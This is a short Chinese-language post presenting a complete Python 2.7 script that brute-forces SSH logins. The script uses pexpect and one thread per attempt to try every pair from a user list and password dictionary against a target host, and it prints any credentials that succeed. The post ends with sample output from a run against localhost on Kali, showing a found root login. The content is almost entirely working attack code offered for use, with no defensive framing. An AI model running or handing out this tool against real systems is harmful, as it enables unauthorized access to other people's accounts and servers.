利用python暴力破解ssh

# -*- coding:utf-8 -*-
#python 2.7

import optparse,sys,threading
import pexpect

PROMPT = ['#','>','/$']
def ssh(host,user,password):
    child = pexpect.spawn('ssh %s@%s' % (user,host))
    ret = child.expect(['(?i)are you sure.*','(?i)password:',pexpect.TIMEOUT,pexpect.EOF])
    #print child.before
    if ret == 0:
        child.sendline('yes')
        child.expect('[pP]ssword:')
        child.sendline(password)
        try:
            ret0 = child.expect(PROMPT)
            if ret0 in (0,1,2):
                #print child.before
                print '[+] 已經連接0'
                print '<*>用戶是：' + user
                print '<*>密碼是：' + password
                #return child
        except:
            print '[-]連接失敗0,密碼錯誤！'
    elif ret == 1:
        child.sendline(password)
        try:
            ret1 = child.expect(PROMPT)
            print child.before
            if ret1 in (0,1,2):
                #print child.before
                print '[+] 已經連接1'
                print '<*>用戶是：' + user
                print '<*>密碼是：' + password
                #return child
        except:
            print '[-]連接失敗1，用戶或密碼錯誤！'
    else:
        print '[-] 連接失敗2'

def main():
    usage = 'Usage:%prog <-H host> <-U user.txt> <-D dictionary.txt>'
    parser = optparse.OptionParser(usage,version='%prog v1.0')
    parser.add_option('-H',dest='target_host',type='string',
                      help='目標主機')
    parser.add_option('-U',dest='user',type='string',
                      help='ssh用戶')
    parser.add_option('-D',dest='dictionary',type='string',
                      help='密碼字典')
    (options,args) = parser.parse_args()
    if  (not options.target_host) | (not options.user) | (not options.dictionary):
        print parser.usage
        exit(0)
    else:
        target_host = options.target_host
        users = options.user
        passwords = options.dictionary
    users = open(users)
    passwords = open(passwords)
    #i = 0
    for user in users:
        user = user.strip('\r\n')
        #print user + str(i)
        #i = i + 1
        passwords.seek(0)#回到密碼文件行首
        for password in passwords:
            password = password.strip('\r\n')
            #print user
            t = threading.Thread(target=ssh,args=(target_host,user,password))
            t.start()

if __name__ == '__main__':
    main()

測試運行結果為：

python Sshconector.py  -H 127.0.0.1 -U user.txt -D password.txt
 
Linux HOSTKALI 3.18.0-kali1-amd64 
[+] 已經連接1
<*>用戶是：root
<*>密碼是：xxxxxxx
[-]連接失敗1，用戶或密碼錯誤！
[-]連接失敗1，用戶或密碼錯誤！
[-]連接失敗1，用戶或密碼錯誤！
[-]連接失敗1，用戶或密碼錯誤！
[-]連接失敗1，用戶或密碼錯誤！
[-]連接失敗1，用戶或密碼錯誤！
[-]連接失敗1，用戶或密碼錯誤！
[-]連接失敗1，用戶或密碼錯誤！
[-]連接失敗1，用戶或密碼錯誤！
[-]連接失敗1，用戶或密碼錯誤！
[-]連接失敗1，用戶或密碼錯誤！